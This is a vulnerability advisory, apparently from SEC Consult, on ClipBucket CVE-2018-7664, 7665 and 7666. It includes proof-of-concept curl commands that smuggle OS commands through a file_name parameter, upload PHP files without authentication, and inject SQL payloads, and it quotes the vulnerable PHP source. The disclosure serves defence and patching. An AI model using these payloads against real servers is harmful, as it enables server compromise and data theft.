OS Command Injection, Arbitrary File Upload & SQL Injection In ClipBucket

Title

OS command injection, arbitrary file upload & SQL injection

Product

ClipBucket

Vulnerable Version

<4.0.0 - Release 4902

Fixed Version

4.0.0 - Release 4902

CVE Number

CVE-2018-7664, CVE-2018-7665, CVE-2018-7666

Impact

critical

Found

06.09.2017

By

Ahmad Ramadhan Amizudin, Wan Ikram, Fikri Fadzil, Jasveer Singh (all Office Kuala Lumpur) | SEC Consult Vulnerability Lab

Critical security issues such as OS command injection or arbitrary file upload allow an attacker to fully compromise the web server which has the video and media management solution “ClipBucket” installed. Potentially sensitive data might get exposed through this attack.

Vendor Description

“ClipBucket is a free and open source software which helps us to create a complete video sharing website like YouTube, Dailymotion, Metacafe, Veoh, Hulu in few minutes of setup. It was first created in 2007 by Arslan Hassan and his team of developers. ClipBucket was developed as a YouTube clone but has been upgraded with advanced features and enhancements. It uses FFMPEG for video conversion and thumbs generation which is the most widely used application so, users can stream it straight away using the Video JS and HTML 5 Players.”

Source: https://clipbucket.com/about

Business Recommendation

By exploiting the vulnerabilities documented in this advisory, an attacker can fully compromise the web server which has ClipBucket installed. Potentially sensitive data might get exposed through this attack.

Users are advised to immediately install the patched version provided by the vendor.

Vulnerability Overview/ Description

1. Unauthenticated OS Command Injection

Any OS commands can be injected by an unauthenticated attacker. This is a serious vulnerability as the chances for the system to be fully compromised is very high. This same vulnerability can also be exploited by authenticated attackers with normal user privileges.

2. Unauthenticated Arbitrary File Upload

A malicious file can be uploaded into the webserver by an unauthenticated attacker. It is possible for an attacker to upload a script to issue operating system commands. This same vulnerability can also be exploited by an authenticated attacker with normal user privileges.

3. Unauthenticated Blind SQL Injection

The identified SQL injection vulnerabilities enable an attacker to execute arbitrary SQL commands on the underlying MySQL server.

Proof Of Concept

1. Unauthenticated OS Command Injection (CVE-2018-7664)

Without having to authenticate, an attacker can exploit this vulnerability by manipulating the “file_name” parameter during the file upload in the script /api/file_uploader.php:

$ curl -F "Filedata=@pfile.jpg" -F "file_name=aa.php ||<<COMMAND HERE>>" $HOST/api/file_uploader.php

Alternatively, this vulnerability can also be exploited by authenticated basic privileged users with the following payload by exploiting the same issue in /actions/file_downloader.php:

$ curl --cookie "[--SNIP--]" --data "file=http://localhost/vid.mp4&file_name=abc || <<COMMAND HERE>>" "http://$HOST/actions/file_downloader.php"

2. Unauthenticated Arbitrary File Upload (CVE-2018-7665)

Below is the cURL request to upload arbitrary files to the webserver with no authentication required.

$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php" "http://$HOST/actions/beats_uploader.php"

$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php" "http://$HOST/actions/photo_uploader.php"

Furthermore, this vulnerability is also available to authenticated users with basic privileges:

$ curl --cookie "[--SNIP--]" -F "coverPhoto=@valid-image-with-appended-phpcode.php" "http://$HOST/edit_account.php?mode=avatar_bg"

3. Unauthenticated Blind SQL Injection (CVE-2018-7666)

The following parameters have been identified to be vulnerable against unauthenticated blind SQL injection.

URL : $HOST/actions/vote_channel.php
METHOD : POST
PAYLOAD : channelId=channelId=1-BENCHMARK(100000000, rand())

The source code excerpt below shows the vulnerable code:

VULN. FILE : /actions/vote_channel.php
VULN. CODE :
[...]
$vote = $_POST["vote"];
$userid = $_POST["channelId"];
//if($userquery->login_check('',true)){
if($vote == "yes"){
$query = "UPDATE " . tbl("users") . " SET voted = voted + 1, likes = likes + 1 WHERE userid = {$userid}";
}else{
//$query = "UPDATE " . tbl("users") . " SET likes = likes (- 1) WHERE userid = {$userid}";
$sel = "Select userid,username,likes From ".tbl("users")." WHERE userid = {$userid}";
$result = $db->Execute($sel);
foreach ($result as $row )
$current_likes = $row['likes'];
$decremented_like = $current_likes-1;
$query = "Update ".tbl("users")." Set likes = $decremented_like Where userid = $userid";
}
[...]

URL : $HOST/ajax/commonAjax.php
METHOD : POST
PAYLOAD : mode=emailExists&email=1' or '1'='1

The source code excerpt below shows the vulnerable code:

VULN. FILE : /ajax/commonAjax.php
VULN. CODE :
[...]
$email = $_POST['email'];
$check = $db->select(tbl('users'),"email"," email='$email'");
if (!$check) {
echo "NO";
}
[...]

URL : $HOST/ajax/commonAjax.php
METHOD : POST
PAYLOAD : mode=userExists&username=1' or '1'='1

The source code excerpt below shows the vulnerable code:

VULN. FILE : /ajax/commonAjax.php
VULN. CODE :
[...]
$username = $_POST['username'];
$check = $db->select(tbl('users'),"username"," username='$username'");
if (!$check) {
echo "NO";
}
[...]

Vulnerable / Tested Versions

Clipbucket version 2.8.3 and version 4.0.0 have been tested. These versions were the latest at the time the security vulnerabilities were discovered.